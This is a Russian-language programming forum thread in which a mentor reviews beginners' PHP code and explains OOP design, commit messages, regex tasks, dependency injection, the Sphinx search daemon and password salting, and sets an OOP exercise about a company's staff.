Окей, я понял что нужно самому разобраться с ошибкой. Я могу сделать это. Только это возможно как я все выведу это на страницу. Завтра буду изучать HTML\CSS. Хотя, может быть, мне будет лень и я выведу все с помощью таблицы (◠‿◠)
https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Mouse.php#L7
https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Cat.php#L7
Наверно это нужно объединить в один класс с указанием в какую сторону нужно сортировать?
Таблица это как раз подходящий тег для разметки игрового поля так как по факту оно и является таблицей с клетками.
Добавил дамп и ридми.
Как установить:
- git clone
- composer install (в папке protected)
Перекачай, я забыл закоммитить изменения в контроллере, сделал только в модели.
> А разве свойство property не будет равно последнему изменению?
Я имел в виду со свойствами надо будет искать и заменять везде код вида
$x = $y->property;
на
$x = 2 × $y->property;
Это надо делать по всему коду и многократно.
А в случае с методом тебе достаточно поменять метод то есть
public function getProperty()
{
return 2 × $this->property;
}
Аналогично когда идет запись в свойство. Допустим мы хотим запретить записывать в property отрицательные числа. В случае инкапусляции нам достаточно это сделать в методе setProperty(). В случае если у нас прямой доступ к полю, мы должны найти обращения к нему по всему коду и исправить, а также как-то исправить код, работающий с этим свойством, который напишут в будущем другие разработчики (как?).
Комментарий к коммиту описывает, какие изменения вносит данный коммит.
Например "Добавляет в класс MyClass метод someMethod, который делает что-то там".
> А как правильно писать описание к коммитам?
Просто написать что изменено, например:
Исправлен баг с выходом кошки за границу поля
Или:
Добавлена возможность создавать любое число животных, а не только 1 кошку и мышку.
Не пиши «отредактировал файл x» так как список файлов легко получить из гита.
Если у тебя используется баг-трекер (программа учета багов) то стоит в коммите писать номер бага который он исправляет.
Если в проекте никогда не будет иностранных разработчиков, можно писать текст коммита на русском, если будут, то на английском.
Заметь что каждое изменение желательно делать отдельным коммитом (сейчас ты делаешь кучу несвязанных изменений сразу). Тогда история будет удобная и например легко можно определить с помощью Blame с какой целью написана та или иная строка:
https://github.com/someApprentice/Cat-and-Mouse/blame/master/Classes/Animal.php
В твоем случае с бессмысленными описаниями инструментом Blame и историей коммитов пользоваться не получится.
Посмотри на сообщения о коммитах в других проектах (увы только на англ.):
https://github.com/dotnet/coreclr/commits/master
https://github.com/yiisoft/yii2/commits/master
https://github.com/slimphp/Slim/commits/2.x
> А как правильно писать описание к коммитам?
Просто написать что изменено, например:
Исправлен баг с выходом кошки за границу поля
Или:
Добавлена возможность создавать любое число животных, а не только 1 кошку и мышку.
Не пиши «отредактировал файл x» так как список файлов легко получить из гита.
Если у тебя используется баг-трекер (программа учета багов) то стоит в коммите писать номер бага который он исправляет.
Если в проекте никогда не будет иностранных разработчиков, можно писать текст коммита на русском, если будут, то на английском.
Заметь что каждое изменение желательно делать отдельным коммитом (сейчас ты делаешь кучу несвязанных изменений сразу). Тогда история будет удобная и например легко можно определить с помощью Blame с какой целью написана та или иная строка:
https://github.com/someApprentice/Cat-and-Mouse/blame/master/Classes/Animal.php
В твоем случае с бессмысленными описаниями инструментом Blame и историей коммитов пользоваться не получится.
Посмотри на сообщения о коммитах в других проектах (увы только на англ.):
https://github.com/dotnet/coreclr/commits/master
https://github.com/yiisoft/yii2/commits/master
https://github.com/slimphp/Slim/commits/2.x
Это как раз пример как делать не надо. Какие методы добавлены прекрасно видно в диффе:
https://github.com/someApprentice/Cat-and-Mouse/commit/ff4682d815ff872abdf673c64517163520bfe18d
Писать надо для чего это сделано, какую проблему решает.
> А как узнать какие вещи обязательные? Я бы все их сделал такими.
Ну представь что с твоим кодом будет работать другой человек и его задача например добавить новое животное. Понятно что для этого надо унаследовать Animal. А какие методы обязан реализовть новый разработчик? Их и надо сделать абстрактными.
Ну например если ты хочешь чтобы разработчик был обязан задать букву для обозначения животного, можно сделать абстрактный метод getIcon().
Если у любого животного должен быть метод move можно сделать его абстрактным. С другой стороны, можно сделать по другому - предоставить в Animal реализацию по умолчанию, а разработчик при желании может ее переопределить. То есть ты этим как бы задаешь правила использования твоего класса. И хорошее знание ООП подразумевает что ты умеешь задавать эти правила средствами языка (через abstract, private/protected/public, final, тайп хинты, интерфейсы).
Только без фанатизма. Если у тебя десятки абстрактных методов это говорит о том что класс спроектирован плохо.
> Наверно это нужно объединить в один класс с указанием в какую сторону нужно сортировать?
А зачем указывать в какую? Ты хочешь выбирать не только наилучший но и наихудший ход? Для чего?
О, теперь еще по полчаса ломать голову, какое имя дать каждому коммиту.
Я вот только что добавил ридми. И как мне назвать коммит, если нельзя писать "добавлен ридми"?
> а оно все равно не делает замену.
Посмотри внимательно регулярку и пересчитай в ней скобки
Также, это неправильно:
> (р|\\s){1,2}
То есть 2 буквы p подряд это тоже ок?
Должно быть любое число пробелов + буква
Также надо искать буквы из русского и латинского алфавитов.
>>549878
Нет. Идея как раз что можно создавать любое число объектов одного класса, у них одинаковый набор свойств, а вот их значения могут быть разные.
Ну если провести аналогию с играми то класс это как тип воина, у тебя может быть 100 каких-нибудь всадников (100 объектов 1 класса), но при этом какие-то свойства у них разные (например координаты, оставшиеся HP, опыт).
Наследование исопльзуется когда ты хочешь создать новый класс не с нуля а расширив существующий.
>>549890
на самом деле все проще. тебе просто надо искать любые слова где подряд идут 2 буквы из разных алфавитов.
То есть либо
русская, за ней английская
либо
английская, за ней русская
ну и перед этим советую показать решения всех предыдущих задач на регулярки для проверки.
> Что мне в такой ситуации делать?
> а) Сидеть ломать голову пока не умру
+ задавать вопросы если что то непонятно
>>550005
Ответ верный, а вот код ужасен.
> ($creditBalance × $percent) + $servicePayment)
Это повторяется много раз, избавься от повторов. не должно быть копипасты в коде.
> $paymentTotal = $paymentTotal + $monthlyPayment;
> echo "{$month} месяц спустя:
И это тоже не должно повторяться 2 раза.
> а оно все равно не делает замену.
Посмотри внимательно регулярку и пересчитай в ней скобки
Также, это неправильно:
> (р|\\s){1,2}
То есть 2 буквы p подряд это тоже ок?
Должно быть любое число пробелов + буква
Также надо искать буквы из русского и латинского алфавитов.
>>549878
Нет. Идея как раз что можно создавать любое число объектов одного класса, у них одинаковый набор свойств, а вот их значения могут быть разные.
Ну если провести аналогию с играми то класс это как тип воина, у тебя может быть 100 каких-нибудь всадников (100 объектов 1 класса), но при этом какие-то свойства у них разные (например координаты, оставшиеся HP, опыт).
Наследование исопльзуется когда ты хочешь создать новый класс не с нуля а расширив существующий.
>>549890
на самом деле все проще. тебе просто надо искать любые слова где подряд идут 2 буквы из разных алфавитов.
То есть либо
русская, за ней английская
либо
английская, за ней русская
ну и перед этим советую показать решения всех предыдущих задач на регулярки для проверки.
> Что мне в такой ситуации делать?
> а) Сидеть ломать голову пока не умру
+ задавать вопросы если что то непонятно
>>550005
Ответ верный, а вот код ужасен.
> ($creditBalance × $percent) + $servicePayment)
Это повторяется много раз, избавься от повторов. не должно быть копипасты в коде.
> $paymentTotal = $paymentTotal + $monthlyPayment;
> echo "{$month} месяц спустя:
И это тоже не должно повторяться 2 раза.
> 1.1
Это лучше вынести в переменную с понятным именем, например
$percent = 1.1;
Также по условию задачи проценты начисляются не 10% в месяц, а 10% в год.
И еще вот тут
> } $month1 = $month % 12;
После } надо перейти на новую строку
Также, не стоит называть переменные month1 (что значит 1?), лучше например monthWithoutYear
Ты забыл написать в ридми как развернуть базу (то есть где брать дампы и какие из них надо загрузить) и что надо менять в конфигах и в каких.
"тупо" потому что зачем нужны лишние нагрузки? там фотографии вовсе не маленькие. Для чего приложению их лишний раз копировать?
тут название коммита абсолютно не соответствует его содержанию:
https://github.com/nsdvw/classifieds/commit/b595ee7e3eb87572fa7bb12e41adbb4363944910
Исправлять не надо, просто старайся в дальнейшем так не делать. Я советую перед коммитом делать
git status или git diff
или git diff --cached если ты уже сделал add
чтобы вспомнить что именно ты коммитишь. Как минимум git status стоит делать всегда.
Вот эту папку select-2
https://github.com/nsdvw/classifieds/tree/master/select2-3.5.4
Надо куда-то убрать например в
static/select-234
или
js/select234 (хотя там не только JS ну и ладно)
А то если ты каждую библиотеку будешь класть в корень, будет бардак. Я советую перенести ее в папку js.
Дампы (схема и собственно дамп) лежат в папке protected/data, которая вроде бы для этого предназначена в yii. Чтобы развернуть базу, нужно выполнить mysql -uuser -ppassword < schema.mysql.sql для получения схемы базы, или mysql -uuser -ppassword < classifieds.sql для наполнения.
Не забыл, а не счел нужным. Кто-то может не знать, как залить дамп?
Конфиги никакие менять не нужно.
Название базы 'classifieds' и прочие настройки можно поменять как обычно в config/database.php
'connectionString' => 'mysql:host=localhost;dbname=classifieds'
>>550765
Да, поэтому и не знал куда ее положить, там ведь и js и css. Наверное лучше в js.
"Поисковый движок" мне мало о чем говорит.
Это отдельное программное обеспечение, или расширение для php или mysql?
Как он работает с базой, напрямую или взаимодействует с mysql?
В оф.доках много букв, я это буду два дня читать. http://sphinxsearch.com/docs/current.html
Твою статью видел, но там только об установке и настройке, а я не хочу что-то устанавливать, не понимая что это.
> Не забыл, а не счел нужным. Кто-то может не знать, как залить дамп?
Анон, поставь себя на мое место. Я твой проект если и видел то ничего не вспомню так как я тонны кода каждую неделю просматриваю. Мне удобнее когда все перечислено в ридми и я могу если что сказать «я все сделал, не запускается», а не рыться по всем папкам и искать несчастный дамп.
Конкретные команды можно не писать, просто напиши «пропиши доступы к базе в этот конфиг, загрузи дамп из такого-то файла и прогони миграции»
А твой пост может потеряться к тому моменту как я дойду до проверки.
Это отдельный поисковый демон который загружает данные из базы (либо ты закачиваешь их в него через xmlpipe или SQL запросы) и после этого позволяет быстро и эффективно по этим данным делать поиск. У него куча настроек.
У меня есть урок https://gist.github.com/codedokode/10539366 даже с примерами кода (что впрочем скорее вредная вещь), который ты вроде говоришь что читал.
> Это отдельное программное обеспечение,
отдельный демон (процесс работающий в фоновом режиме) + библиотека для PHP чтобы слать запросы, причем подсоединиться можно и без нее, используя MySQL совместимый интерфейс через PDO например.
> Как он работает с базой, напрямую или взаимодействует с mysql?
Умеет подсоединяться и выполнять прописанные в конфиге запросы как клиент. Также, ты можешь подсоединяться к нему и заливать данные через xmlpipe или SQL запросы (он совместим с mysql клиентом).
> В оф.доках много букв, я это буду два дня читать
Это часть деятельности программиста, чтение мануалов, привыкай.
Хочу свою модель с таким же названием создать через Gii, а там уже есть модель с таким названием. Если просто удалить дефолтную модель, то сайт валится с ошибкой, указывая на разные ссылки на эту модель из папки /vendor/.
Не знаю, я работал только с первой версией.
Смотри руководство, там это должно быть описано.
Наверное, модель нужно просто унаследовать от той что поставляется с фреймворком.
http://php.net/manual/ru/language.oop5.abstract.php
Абстрактный метод отличается тем, что не имеет тела и должен быть определен в классе-наследнике. Следовательно, класс имеющий хотя бы один абстрактный метод, должен быть объявлен как абстрактный, и от него нельзя создавать экземпляры.
>абстрактная наследуется другими экземплярами класса
Наследуются абсолютно все методы (кроме приватных, естественно). Но абстрактный метод обязан быть реализован в классе-наследнике.
>Also, a 1000-pound gorilla might eventually come out of your display and start throwing barrels at you. You've been warned.
What the fuck am i reading?
Там кстати говорится о том, что индекс обязан быть unsigned integer, в твоей статье этого нет.
Хорошая документация, только слишком многословная. 400 страниц, мама дорогая.
так ты читай не все подряд а только первые главы где описывается общий принцип работы (какие там есть индексы, как оно настраивается) и только те опции которые тебе нужны.
Ну и если что задавай вопросы.
> индекс обязан быть unsigned integer
Ты что-то путаешь. Может это идентификатор должен быть таким? Или целые аттрибуты?
Да, айдишники, уже заговариваюсь.
Помогите с задачкой. Не могу чего-то додумать как поставить алерт (-1) чтобы не на каждом ходу делался, а после окончания цикла. Да и в остальном, наверное, ошибка.
https://ideone.com/3FQfVd
http://pastebin.com/qn1jJYMS
Если в урл попадает точка либо любой другой спец символ апач отдает 404, а надо чтобы обрабатывал.
Так же, пробовал добавлять а-Я и т.д. для поддержки русских переменных, то апач отдает крякозябры. UTF-8 прописана в хедерах скрипта и в .htaccess.
Вопрос для разработчика:
> «Как вы бы стали искать английские слова, которые устарели между 16 и 17 веками? Вы можете пользоваться поисковой системой» (собеседование на позицию разработчика).
По моему, хороший вопрос так как он позволяет проверить кто перед нами: кодер который умеет повторять то что видел в видеоуроках, близорукий программист который не видит ничего кроме кода и заумных паттернов проектирования или самостоятельный разработчик, который умеет решать задачи наиболее эффективным образом и использовать код как инструмент.
У меня заняло два запроса в гугл и 3 минуты.
1. "древнеанглийский язык"
2. "ранненовоанглийский язык"
???
словарь 1604 года
http://www.library.utoronto.ca/utel/ret/cawdrey/cawdrey0.html
Еще ссылки http://linguodiversity.narod.ru/Links/Ieulang/German/earleng.htm
Но я бы нахуй посылал таких работодателей.
я думаю, там требовалось найти слова которые употреблялись в допустим 15 веке но которые вышли из употребления к 17 веку. Твой словарь поссылке содержит в том числе слова которые и сейчас используются. «древнеанглийский язык» это не решение задачи.
Но да, алгоритм решения примерно такой.
Но я знаю те слова, которые используются сейчас. Следовательно незнакомые мне слова будут являться устаревшими и вышедшими из употребления.
Если нужно небольшое кол-во, то просмотрю вручную и выберу десяток-два. Если больше сотни, имеет смысл спарсить старинный словарь, спарсить современный словарь, а затем вычислить дельту, то есть расхождение между первым и вторым.
Ну например для кошки нужна координата поближе к мышкам, а для мышки наоборот - подальше от них. Балы хода высчитываются же из расстояния от искомых животных.
Не, ты неправильно понял. Если для кошки надо быть поближе к мышкам то функция должна в таком случае давать больше баллов.
То есть чем ход лучше тем больше баллов. (а не чем больше расстояние).
Если же делать как ты задумал, то как ты будешь складывать баллы при учете нескольких факторов, а не только расстояния?
Когда мы принтуем какое либо Животное, из-за ссылки в нем на Мир, происходит бесконечная рекурсия: Животное которое содержит Мир, который содержит Животных, которые содержат Мир, который содержит Животных, которые ...
С этим все нормально? print_r помечает эти рекурсии.
>>550731
>Заметь что каждое изменение желательно делать отдельным коммитом (сейчас ты делаешь кучу несвязанных изменений сразу). Тогда история будет удобная и например легко можно определить с помощью Blame с какой целью написана та или иная строка:
А можно я хотя бы сейчас буду писать несколько изменений одним коммитом? У меня просто очень много ошибок которые как снежный ком вытекают друг за другом, и мне хочется их исправить все за один присест.
>>550719
Уф, тогда придется писать метод rateMoves() для каждого животного. Сделаю.
>>550734
Хм, давай я попробую разобраться на конкретном примере:
Допустим в моем классе Животное есть функция searchAnimalsAroundByType(...), которая будет полезна для любого типа животных и переопределять её нет смысла, и есть функция move(), которая для каждого типа животного должна быть своя. Значит мне нужно будет написать в классе Животного так:
public function searchAnimalsAroundByType(...) {
//do something
}
и
abstract function move() {}
я правильно понимаю?
Когда мы принтуем какое либо Животное, из-за ссылки в нем на Мир, происходит бесконечная рекурсия: Животное которое содержит Мир, который содержит Животных, которые содержат Мир, который содержит Животных, которые ...
С этим все нормально? print_r помечает эти рекурсии.
>>550731
>Заметь что каждое изменение желательно делать отдельным коммитом (сейчас ты делаешь кучу несвязанных изменений сразу). Тогда история будет удобная и например легко можно определить с помощью Blame с какой целью написана та или иная строка:
А можно я хотя бы сейчас буду писать несколько изменений одним коммитом? У меня просто очень много ошибок которые как снежный ком вытекают друг за другом, и мне хочется их исправить все за один присест.
>>550719
Уф, тогда придется писать метод rateMoves() для каждого животного. Сделаю.
>>550734
Хм, давай я попробую разобраться на конкретном примере:
Допустим в моем классе Животное есть функция searchAnimalsAroundByType(...), которая будет полезна для любого типа животных и переопределять её нет смысла, и есть функция move(), которая для каждого типа животного должна быть своя. Значит мне нужно будет написать в классе Животного так:
public function searchAnimalsAroundByType(...) {
//do something
}
и
abstract function move() {}
я правильно понимаю?
> из-за ссылки в нем на Мир, происходит бесконечная рекурсия:
Это нормально, просто функция вывода на печать должна уметь обнаруживать такие вещи.
> С этим все нормально?
Да
> А можно я хотя бы сейчас буду писать несколько изменений одним коммитом? У меня просто очень много ошибок которые как снежный ком вытекают друг за другом, и мне хочется их исправить все за один присест.
Можно
> Значит мне нужно будет написать в классе Животного так:
> public function searchAnimalsAroundByType(...) > {
//do something
> }
Нет. Какой смысл добавлять функцию которая ничего не делает? Не добавляй ее в базовый класс вообще тогда, а если добавляешь то добавляй конкретный код.
> abstract function move() {}
Это верно.
Уточнение. Пустую функцию добавлять в общем можно, но в твоем случае ожидается что функция что-то вернет через return потому совсем пустую функцию добавить нельзя. Ну или надо там написать return []; хотя какой в ней тогда смысл. непонятно.
Обычно пустые функции это функции-обработчики каких-то событий, которые по умолчанию ничего не делают но которые можно переопределить при наследовании.
getInstance?
Алсо, ничего, если пхп - первый язык, который изучаешь? На хабре пишут, что это ухудшает код. И насколько важно знание матана? Всякие там катангенсы углы степени и сложные вычисления?
Синглтон это антипаттерн. Не надо его использовать.
Почитать подробнее можно в уроке про DI: https://gist.github.com/codedokode/e1d31a31b37d5f635057
> И насколько важно знание матана? Всякие там катангенсы углы степени и сложные вычисления?
Формулы можно всегда нагуглить, это не проблема.
Что такое "антипаттерн", и почему не использовать?
Чем тогда заменить? Ведь синглтон хорошо справляется со своей задачей: не допустить создание множества экземпляров одного и того же объекта.
А ты урок про DI читал? Использование синглтона сильно связывает код (так же как создание объект на месте или использование статических методов) и не позволяет использовать внедрение зависимостей, не позволяет нам передать какой-то другой объект вместо того что прописан в коде, не позволяет поменять его настройки.
А чтобы не допустить создания множества объектов достаточно просто создавать их только в одном месте, а не по всему коду. Ну а в фреймворках обычно есть DI контейнеры которые решают эту задачу.
Конечно тема DI сложна для начинающего, если бы ты дошел хотя бы до задачи про список студентов, мы бы могли на ее конкретном примере разобраться как там можно реализовать DI.
Вижу, что это неправильно, потому что рангов и специальностей может быть больше чем по 3, но не понимаю, как тогда решить.
>>551209
>просто создавать их только в одном месте
ясно
>если бы ты дошел хотя бы до задачи про список студентов
Я делал задачу про студентов и файлообменник.
Ну вот там как раз и есть внедрение зависимостей когда ты в маппер передаешь объект PDO:
$pdo = new PDO(...);
...
$studentMapper = new StudentMapper($pdo);
Ну а в файлообменнике мы используем реализацию синглтонов Слима чтобы создавать нужные объекты.
В фреймворкх вроде Симфони 2 есть DI контейнер, через который создаются нужные объекты.
Вот примерно так и надо делать.
Ну и странно конечно что ты делаешь Вектор после студентов, это же задача про основы ООП.
> Можно ли в задаче про вектор создавать класс под каждую специальность/ранг,
А смысл под каждый ранг? Под разные специальности мы создаем так как они сильно различаются, ну и то это вопрос, надо ли создавать разные классы. Как например ранг повышать в твоем случае?
Надо либо класс на профессию либо вообще один класс.
>в файлообменнике мы используем реализацию синглтонов Слима
Зачем, если ты говоришь, что их нельзя использовать?
Ну и как тогда хранить коэффициенты для рангов? Я вижу только возможность либо хранить их массивом [1=>1, 2=>1.25, 3=>1.5], либо вообще зашить в коде без возможности изменить, что не выход.
http://ideone.com/C3TAZX
2) Рулетка
http://ideone.com/t5CkIM
3) Про рост анона
http://ideone.com/6UhjOI
4) Вопрос и варианты ответа (массивы)
http://ideone.com/UvrsuM
5) Шифровка и дешифровка (там, кстати, я так и не понял, как использовать array_flip, поясните плиз)
http://ideone.com/pIG3b5
6) Генератор стихов (почему-то иногда пропадают некоторые слова)
http://ideone.com/7gwW5B
7) Айпад и кредит
http://ideone.com/ft3GDt
Врать не буду, в последние 2 задачи подсматривал в решенные в архиваче, но в дальнейшем более-менее разобраться смог. Буду решать дальше.
https://jsfiddle.net/ysvo6hrr/5/
>>551044
Какие факторы влияют на решение "задачи"? Что это за задача - не важно. Очевидно, знание о проблеме в первую очередь, так же видение этой проблемы, размышление над ней. Окей, если не какой рефлексии над проблемой совершено не было, пусть человек попробует сделать это прямо сейчас. Какова вероятность, что он сориентируется и найдет решение? И можем ли говорить о его эффективности при решении задач, основываясь на результате единичной попытки. В данном случае, даже сама задача с помощью которой Uber судя по всему пытается определить насколько претендент "умный", не имеет ничего общего с тем, чем ему придется заниматься в компании. Существуют ли границы познания и как оно происходит? Как происходит ориентировка в образе проблемы? Есть целый ряд наук, которые занимаются этим вопросом, подходя к нему с разных сторон. Все мною сказанное можно сократить до одной фразы: hr - очередной долбоеб.
Потому что «синглтоны» Слима это не Class::getInstance(), который мешает делать DI и является антипаттерном. Ну анончик, ну прочитай пожалуйста урок про DI если хочешь понять что плохого в синглтонах.
> Ну и как тогда хранить коэффициенты для рангов?
в коде.
Функция посчитать зарплату()
{
если ранг == 2 берем базовую ставку и умножаем на 1.5
....
}
> либо вообще зашить в коде без возможности изменить, что не выход.
Вполне даже выход. Ну если хочешь можешь сделать массив.
>>551230
> В данном случае, даже сама задача с помощью которой Uber судя по всему пытается определить насколько претендент "умный", не имеет ничего общего с тем, чем ему придется заниматься в компании.
Подозреваю что как раз имеет. Они хотят не такого программиста который зациклен на паттернах проектирования и которому надо описать алгоритм решения задачи, а такого которого например можно попросить (условно говоря) «определи-ка главные факторы которые влияют на время подачи такси», он залезет в базу и определит. При этом математическая точность не нужна, некоторя погрешность допустима.
Этому можно научиться. Если ты начинающий то тебе конечно надо пока сконцетрироваться на изучении особенностей языков программирования и концепциях вроде ООП, но если ты хочешь расти дальше, то надо именно учиться решать задачи.
Ну а что касается знания предметной области, ну если ты идешь работать в Убер наверно ты должен понимать что это за компания, как организован их бизнес и тд.
Потому что «синглтоны» Слима это не Class::getInstance(), который мешает делать DI и является антипаттерном. Ну анончик, ну прочитай пожалуйста урок про DI если хочешь понять что плохого в синглтонах.
> Ну и как тогда хранить коэффициенты для рангов?
в коде.
Функция посчитать зарплату()
{
если ранг == 2 берем базовую ставку и умножаем на 1.5
....
}
> либо вообще зашить в коде без возможности изменить, что не выход.
Вполне даже выход. Ну если хочешь можешь сделать массив.
>>551230
> В данном случае, даже сама задача с помощью которой Uber судя по всему пытается определить насколько претендент "умный", не имеет ничего общего с тем, чем ему придется заниматься в компании.
Подозреваю что как раз имеет. Они хотят не такого программиста который зациклен на паттернах проектирования и которому надо описать алгоритм решения задачи, а такого которого например можно попросить (условно говоря) «определи-ка главные факторы которые влияют на время подачи такси», он залезет в базу и определит. При этом математическая точность не нужна, некоторя погрешность допустима.
Этому можно научиться. Если ты начинающий то тебе конечно надо пока сконцетрироваться на изучении особенностей языков программирования и концепциях вроде ООП, но если ты хочешь расти дальше, то надо именно учиться решать задачи.
Ну а что касается знания предметной области, ну если ты идешь работать в Убер наверно ты должен понимать что это за компания, как организован их бизнес и тд.
Да. Если взломщик или любопытный сотрудник стырит базу, то соль очень сильно замедляет подбор паролей. Это описано в уроке https://gist.github.com/codedokode/9576319
Без соли хеши можно брутить одновременно все, с солью — по одному и предвычисленные таблицы хешей становятся бесполезны.
> Ну и как тогда хранить коэффициенты для рангов?
> в коде.
> либо вообще зашить в коде без возможности изменить, что не выход.
> Вполне даже выход. Ну если хочешь можешь сделать массив.
Не верю своим глазам. Ну ладно, сделаю сначала так, но по-моему это как раз неприемлемо: если второму рангу повысят ставку с 25 до 30 процентов, бегать поиском по коду и искать этот коэффициент?
Хорошо, сделаю пока хоть так, но это никуда не годится.
Задача про сайт студентов простая как валенок или гостевая книга, а проектирование сложной архитектуры как раз высший пилотаж, не знаю что у тебя вызывает удивление.
> Задача про сайт студентов простая как валенок или гостевая книга,
даже удивительно. А ты код показывал на проверку? Ее никто еще с первого раза без замечаний не сделал.
$i<=10 должно быть, дебил блять. второй аргумент - число на котором прибавление останавливается.
Дебильный язык ваш, в нормальных такой хуйни не происходит. При $i = 10 цикл должен останавливаться.
>не условие прекращение цикла. а условие продолжения.
Спасибо тебе. И стоило так извращаться над элементарной логикой...
Это логика цикла while. For лишь счетчик.
укатывайся обратно в свой паскаль, бидло.
Полгода назад, уже не помню. Твои замечания можно исправлять бесконечно. Это не тот случай, где нужно вылизывать код.
А вот это тот случай.
Говно какое-то.
http://ideone.com/E4ILEM
Написал как мог, знаю что это неправильно, но не знаю как исправить.
Я если честно не понимаю твою технику преподавания: дать сложную задачу и решай как хочешь. Приходится со стыдом постить явную хуйню, лишь бы хоть что-то.
Затем ты пишешь простыню с мутными замечаниями, которые тоже хуй знает как исправлять.
Почему сразу не показать несколько примеров?
И я говорю не о готовом решении стандартной задачи, а примеры построения алгоритмов решения нестандартных заданий. Как рассуждать, чем руководствоваться, потому что без этого бесполезно, приходится брать терпением, теряя огромное количество времени.
Открой эту ущербную страницу. http://s-u-r.ru/video/rasstrel-imac-5k-iz-protivotankovoy-pushki/
Видишь какой же большой тут видос с ютуба? И какое бы разрешение не поставил, он таким и останется. Как пофиксить, чтобы я задавал разрешение? А не шаблон вордпресса диктовал свои правила.
Задачи я даю потому, что подробный урок с объяснениями никто пока не написал и лучше иметь хоть что-то (задачу, полностью решив которую со всеми моими замечаниями можно чему-то научиться) чем вообще ничего.
Ты говоришь что замечания можно исправлять бесконечно, но есть люди которые с ними со всеми разобрались.
Возможно тут есть непонимание. Возможно ты подумал что главное написать приложение которое соответствует описанию, а какой в нем код это не важно. Но это не так. Мы делаем задачу на файлообменник не для того чтобы иметь возможность пересылать файлы.
Цель этих 2 задач, про студентов и файлообменник, это научиться тем вещам которые используются в реальных приложениях (MVC, шаблоны, работа с формами, с БД. уязвимости, микрофреймворки). К задаче даны комментарии + если что-то не так, я пишу что именно не так и что надо исправить.
По поводу задачи на Вектор. Это задача не на архитектуру, а на знание ООП, то есть на знание языка PHP (ООП это часть языка). От тебя требуется лишь определить какие в задаче должны быть классы, поля, методы.
---------
Когда ты решаешь задачу на ООП, ты должен ответить на вопросы:
— какие есть сущности, для которых мы сделаем классы? (Сотрудник и Департамент)
— какие у них есть свойства (у Сотрудника есть ранг, базовая ставка, профессия, является ли боссом). Потребление кофе или зарплата не являются свойствами так как они вычисляются из других свойств и хранить их не надо.
— что мы хотим от них получить (какие у них должны быть методы). Например мы хотим узнать сколько сотрудник заработал или сколько он пьет кофе. От департамента мы наверно хотим получить сколько всего выпито кофе и заплачено денег.
— как сущности связаны? Очевидно, Сотрудник работает в каком-то Департаменте.
Также, сразу скажу еще один совет: гораздо удобнее сделать не один класс Сотрудник, а 4 класса: Инженер, Менеджер, и т.д. Тогда мы можем легко менять например правила расчет зарплаты или кофе для каждой профессии. Естественно, копипастить одинаковый код в 4 класса не надо — создай базовый абстрактный класс Сотрудник и унаследуй от него 4 класса-профессии.
Наследование позволяет создавать класс не с нуля. а расширяя сущетсвующий класс: http://php.net/manual/ru/language.oop5.inheritance.php
«Абстрактный» — это класс, объект которого нельзя создать. Он предназначен для наследования от него других классов: http://php.net/manual/ru/language.oop5.abstract.php
------------
Теперь посмотрим на твой код. Ты спроектировал код так, что например, если мы поменяем сотруднику ранг, его зарплата никак не изменится. Это надо поменять. Также держи вторую часть задачи. Эту вторую часть я даю всем, чтобы проверить насколько гибок их код, насколько его просто менять под требования заказчика. Если код спроектирован правильно то вторая часть решается легко и быстро.
------------
### Антикризисные меры
Задание: напиши программу для учета расходов и результатов работы всего дружного коддектива компании «Вектор».
Пока ты решал задачу по выводу отчета о сотрудниках и департаментах, разразился мировой экономический кризис. Доходы компании начали снижаться, и совет директоров поставил перед руководством задачу принять меры. Менеджеры 3-го ранга, блестящие выпускники топовых экономических вузов столицы, быстро смогли разработать три альтернативных антикризисных решения:
1. Сократить в каждом департаменте 40% (округляя в большую сторону) инженеров, преимущественно самого низкого ранга. Если инженер является боссом, вместо него надо уволить другого инженера, не босса.
2. Увеличить в целях стимуляции умственной деятельности базовую ставку аналитика с 800 до 1100 тугриков, а количество выпиваемого им кофе с 50 до 75 литров. В тех департаментах, где руководитель не является аналитиком, заменить его на аналитика самого высшего ранга из этого департамента (а бывшего руководителя вернуть к обычной работе)
3. В каждом департаменте повысить 50% (округляя в большую сторону) менеджеров 1-го и 2-го ранга на один ранг с целью расширить их полномочия.
Совет директоров в затруднении: какой путь выбрать? Помоги им с этим, распечатав прогноз по потреблению и расходам (аналогичный тому что требуется в задаче) после принятия каждой из мер.
------------
> Затем ты пишешь простыню с мутными замечаниями, которые тоже хуй знает как исправлят
Я не знаю какой у тебя уровень знаний. Если тебе что-то непонятно, можно что-то переспросить. У меня нет цели запутать.
Вдобавок, у нас есть люди которые пропускают задачи, они думают что последняя задача, самая сложная и охватывает все темы и достаточно решить только ее. Это разумеется не так, пропуская задачи они не получают важные знания, и в итоге вообще ничего не решают. Таким людям я советую вернуться и решить сначала предыдущие задачи.
Еще замечания по твоему коду:
В ООП если у ты меняешь свойство (например ранг), от которого зависят другие, то они должны пересчитываться. лучший способ решить эту проблему это заменить такие зависящие от других свойства на методы. Например вместо свойства зарплата сделать метод ее вычисления.
> switch ($profession) {
> case 'manager':
Это магические строки, их надо заменить на константы класса. Константы делают код понятнее и защищают от опечаток.
> default: exit("Profession \"$profession\" not found.");
В мире ООП для этого используют исключения: default: exit("Profession \"$profession\" not found.");
> $report->salary += $employee[0]->salary * $employee[1];
Во-первых, [0] абсолютно нечитаемо, что значит 0? Как догадаться? как минимум надо тут исплоьзовать строку а не число в качестве индекса.
Также, это неудачная схема. Как в твоей схеме поменять зарплату только одному работнику? Ты как-то все переусложнил, лучше сделать по-простому, то есть в департаменте сделать массив объектов работников и если там работает 10 менеджеров то создать и положить туда 10 объектов.
Еще ошибка в том что ты один объект кладешь в несколько департаментов. Ну сам подумай, где тут логика? Один работник работает и там и там одновременно? Нет, там разные работники значит нужны разные объекты потому что иначе мы например не сможем их независимо повышать или наказывать.
Далее, я могу смириться с публичными свойствами вроде ранга, но массив работников сложной структуры не должен быть публичными. Ибо это пости 100% вероятность что в него запишут что-нибудь не то. Должны быть методы добавления и увольнения работников, а сам массив надо сделать приватным.
Класс Report имеет очень абстрактное название, кажется что это класс для любых видов отчетов. Но на самом деле, он используется только для отчета по работникам потому логичнее его назвать EmployeeReport.
Еще мне кажется, компания тут это отдельная сущность, почему бы и для нее класс не сделать?
Ну и еще мелочь, таблица у тебя какая-то перекошенная, надо будет над ней поработать, там вроде в примечании к задаче написано как это делать.
Если есть какие-то вопросы, задавай.
Задачи я даю потому, что подробный урок с объяснениями никто пока не написал и лучше иметь хоть что-то (задачу, полностью решив которую со всеми моими замечаниями можно чему-то научиться) чем вообще ничего.
